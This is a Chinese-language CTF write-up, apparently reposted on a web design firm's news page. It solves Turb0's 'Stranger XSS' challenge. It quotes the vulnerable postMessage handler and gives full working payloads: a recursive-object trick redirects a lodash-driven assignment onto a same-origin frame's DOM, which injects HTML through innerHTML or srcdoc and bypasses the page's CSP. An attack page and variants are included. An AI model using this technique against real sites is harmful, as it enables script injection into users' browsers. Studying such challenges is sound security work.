尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

利用递归对象属性攻克Turb0的XSS挑战

利用递归对象属性攻克Turb0的XSS挑战
📅 发布时间:2026/6/18 23:46:51
本文详细介绍了如何利用JavaScript递归对象属性和CSP绕过技术,成功攻克Turb0设计的XSS挑战。作者通过巧妙控制postMessage数据,在有限制的赋值场景下实现跨站脚本攻击。

利用递归对象属性攻克Turb0的XSS挑战

挑战概述

挑战地址:https://www.turb0.one/pages/Challenge_Two:_Stranger_XSS.html

我们获得了一个可嵌入的页面:https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html

该页面加载了三个脚本:

<script src="lodash.min.js">
<script src="jquery-3.6.0.min.js">
<script src="inner.js">

其中前两个是常见库,第三个是自定义脚本。inner.js包含以下内容:

const reHydrate = event => {const data = event.data;if (!data || typeof data !== "object") {log("Invalid message: not an object");return;}const { base, mappings } = data;if (!_.isObject(base) || !Array.isArray(mappings)) {log("Invalid payload structure: expected { base, mappings[] }");return;}for (const { from, to } of mappings) {const val = _.get(event, from);base.reqBody[to] = val;}return base;
}window.addEventListener("message", event => {const hydrated = reHydrate(event);fetch('mockedfakeapi', {headers: {"Content-Type": "application/json"},method: 'POST',body: hydrated.reqBody})
}, false);

页面通过meta标签设置了CSP策略:

<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval';">

关键观察点

  1. 使用lodash进行对象属性检索:通过_.get函数
  2. jQuery未被使用:提示jQuery可能是预期的脚本小工具目标
  3. 隐式函数调用:body: hydrated.reqBody行可能触发toString()方法调用
  4. 可控的赋值操作:base.reqBody[to] = val;
  5. postMessage事件:允许通过event.source和event.target访问窗口对象

XSS通过赋值操作

如果仅通过base.reqBody[to] = val赋值来触发XSS,我们有几个有限的选项:

// 设置元素HTML
elm.innerHTML = y
elm.outerHTML = y
elm.insertAdjacentHTML = y// 设置元素on-*属性
elm.onclick = y // 等等...// 导航到js链接
window.location = y
iframe.src = y// 设置iframe的srcdoc
iframe.srcdoc = y

CSP绕过策略

CSP有两个关键点:

  1. 操作发起的来源
  2. 触发对象的位置

对于导航操作,浏览器会检查发起导航的文档的CSP。这意味着即使从具有CSP的页面尝试导航其他窗口,也会被阻止。

而DOM渲染(如elm.innerHTML和iframe.srcdoc)发生在目标帧的上下文中,忽略调用者的CSP。这意味着我们需要在同一源的窗口中使用innerHTML触发XSS。

使用递归对象绕过限制

核心突破点:我们可以控制data.reqBody指向的对象。通过创建递归对象:

var payload = {}
payload.reqBody = payload // {reqBody: {reqBody: {reqBody: ...etc...}}}

完整解决方案

var payload = {base: {},mappings: [{from: "source.frames[1].document.body",  // 指向无CSP窗口的引用to: "reqBody",  // 覆盖正在被写入的属性!},{from: "data.xss",  // 获取XSS载荷to: "innerHTML",  // 写入innerHTML}],xss: "<img src=x onerror=alert(document.domain)>" // 载荷
}
payload.base.reqBody = payload.baseframes[0].postMessage(payload, "*")

这个方案的工作原理:

  1. 第一个映射将base.reqBody["reqBody"]设置为无CSP窗口的body元素,使得base.reqBody现在指向真实的DOM元素
  2. 第二个映射将XSS载荷写入base.reqBody["innerHTML"]
  3. XSS弹窗成功执行

完整攻击页面

<script>function run() {var payload = {base: {},mappings: [{from: "source.frames[1].document.body",to: "reqBody"}, {from: "data.xss",to: "innerHTML"}],xss: "<img src=x onerror=alert(document.domain)>"}payload.base.reqBody = payload.baseframes[0].postMessage(payload, "*")}
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>
<iframe src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ERROR.html"></iframe>

总结

  1. 使用对象递归可以通过属性赋值覆盖自身
  2. 通过将载荷写入另一个同源窗口的DOM来绕过CSP限制

其他变体解决方案

作者还提供了其他两种解决方案变体,展示了该技术的灵活性:

  1. 使用srcdoc属性:
var payload = {base: {},mappings: [{from: "source.frames[0].frames[0].frameElement",to: "reqBody"}, {from: "data.xss",to: "srcdoc"}],xss: "<script>alert(document.domain)\u003c/script>"
}
  1. Turb0修改后的版本:
var payload = {base: {},"mappings": [{"from": "target.Array","to": "reqBody"}, {"from": "target.eval","to": "isArray"}]
}

更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

相关新闻

  • 2025年下半年四川成都食用油批发厂家综合选择指南
  • 2025年下半年四川成都植物油工厂综合评估与优质供应商推荐
  • 2025年下半年四川成都食用油工厂综合推荐与选择指南

最新新闻

  • AI中转站成本真相:36倍价差背后的渠道经济学
  • 通达信缠论插件:让复杂的技术分析变得简单直观
  • 如何在5分钟内免费搭建你的AI桌面助手:开源协作工具的终极指南
  • Mermaid Live Editor:5分钟掌握免费在线图表绘制的终极指南
  • MSC8144AMC-S多DSP板卡硬件设计:以太网、TDM与RapidIO接口深度解析
  • 超大质量双黑洞系统:数值模拟与观测特征

日新闻

  • 2026年不锈钢卷板厂家推荐排行榜:冷轧热轧/304/201不锈钢卷板,高颜值耐腐蚀源头厂家实力精选 - 企业推荐官【官方】
  • FLUX.1-dev FP8模型实战指南:24GB以下显卡高效部署方案
  • 2026佛山长途搬家价目表:跨省跨市搬家费用完整计算指南 - 从来都是英雄出少年

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号